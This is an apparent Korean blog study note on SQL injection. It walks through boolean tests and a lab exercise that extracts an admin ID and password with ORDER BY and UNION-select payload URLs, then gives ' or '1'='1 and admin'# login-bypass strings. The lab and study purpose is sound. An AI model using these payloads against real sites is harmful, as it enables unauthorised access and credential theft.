SQL Injection
> 서버측에서 클라이언트로부터 전달받은 인자를 쿼리에 조건 값으로 사용
> where 절은 참이어야 쿼리 실행
> 조작된 입력 값을 전달 했을 때 조건의 결과는 참이 되도록 만들어야함
> 조건에서 사용되는 각족 연산자를 이해하고 활용
> and, or 연산자는 반드시 이해

Injection Vactor 확인
> 입력 값을 의도적으로 참, 거짓으로 만들어서 응답 확인
> 입력 값이 숫자, 문자 일때 결과 다름
> and, or 사용하여 참 또는 거짓을 작성하여 확인
 > 기존에 주어진 값이 참인 경우는 and 테스트
 > 기존에 주어진 값이 거짓인 경우는 or 테스트
 > 참 and 참 -> 참
 > 참 and 거짓 -> 거짓
 > 거짓 or 참 -> 거짓
 > 거짓 or 거짓  -> 거짓
 > no=3 -> 결과가 넘어옴(참)
 > 숫자인 경우
 > no=3 and 1 %23(#을 url문자로 작성) -> 의도적으로 참인 결과(결과 넘어옴)
 > no=3 and 0 %23(#을 url문자로 작성) -> 의도적으로 거짓인 결과(결과 안넘어옴)
 > no 값은 조작 가능, 숫자
 > 문자인 경우
 > no=3' and 1 %23(#을 url문자로 작성) -> 의도적으로 참인 결과(결과 넘어옴)
 > no=3' and 0 %23(#을 url문자로 작성) -> 의도적으로 거짓인 결과(결과 안넘어옴)


'' 을 이용한 조작
mysql> select id from member_tb where id= 'admin'; select 'test';
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

+------+
| test |
+------+
| test |
+------+
1 row in set (0.00 sec)




http://www.a.com/board_view.php?no=1 union select 1,2,3,4,
table_name from information_schema.tables where table_schema='webhacktest'


연습1
SQL Injection 공격을 사용하여 관리자 계정을 획득하시오!

힌트1
 > 로그인 페이지는 일반 사용자를 위한 페이지
 > 관리자용 로그인 페이지는 따로 존재함
 > 관리자용 로그인 페이지는 메인 페이지에 링크 없음
 > URL 직접 입력, main 디렉터리가 아닌 별도의 디렉터리에 존재
=>200.200.200.7/admin/

힌트2
 > MYSQL 버전이 4버전, Information_Schema 없음
 > 테이블 이름 및 컬럼 이름을 조회X
 > 입력 값이 문법 오류 발생이 되도록 전달 하면 Query를 응답 메시지에 포함하여 전달
 > Query 볼수 있으면 테이블 이름 및 컬럼을 확인

힌트3
 > Injection Vector
 > http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=2&offset=0&select=&contents=&category=&pg=
 > id 인자


풀이
http://200.200.200.7/admin/login.php 로그인화면에서
id = admin '1
pw = 아무숫자나 문자
로그인하면 아래 같이 Qry Err 에러가 뜬다.

Qry Err. : select * from admin where A_id='admin' 1' and A_pass='1'
> A_id , A_pass 두개의 속성이름을 알 수 있다.

인자값 개수를 알아내기 위해 아무 게시판 글에 들어가 id 값에 0을 넣어주면 내용이 비어진 상태로 변한다.
http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=0

컬럼수 알아내기 위해 order by를 사용한다.
참고로 id=0는 문자열이라서 0다음에 ' 넣어줘야한다. 
http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=0%27%20order%20by%2016%20%23

select 문에 16번까지 의 숫자를 넣고 화면에 뜨는 숫자를 확인하고 표시되는 숫자부분에 A_id와 A_pass를 넣어 출력하면 id 와 password가 뜬다.
http://200.200.200.7/customer/customer01.php?sub_page=&show=view&board=customer01&id=0%27%20union%20select%201,2,A_id,4,5,6,7,8,A_pass,10,11,12,13,14,15,16%20from%20admin%20%23

 airconAdmin
 sorkrhksflwkek

SQL Injection 인증우회
ID ' or'1'='1
PW ' or'1'='1
하면 관리자로 로그인이 된다.

select * from member_tb where id='' or'1'='1 ' and pass='' or'1'='1 ' ;

select * from member_tb where 거짓 or 거짓 or 참
select * from member_tb where 거짓 or 참
select * from member_tb where 참

ID admin'#
PW 비번 아무거나 
하면 관리자 계정으로 로그인이 된다.
 >  #으로인해 뒤쪽 코드내용이 주석처리 되기 때문이다.

'정보보안 > 공부 기록' 카테고리의 다른 글

SQL Injection 유용한 문법  (0) 2023.01.01
CSRF  (0) 2023.01.01
XSS  (0) 2023.01.01
HSRP, VRRP  (0) 2023.01.01
FTP  (0) 2023.01.01

+ Recent posts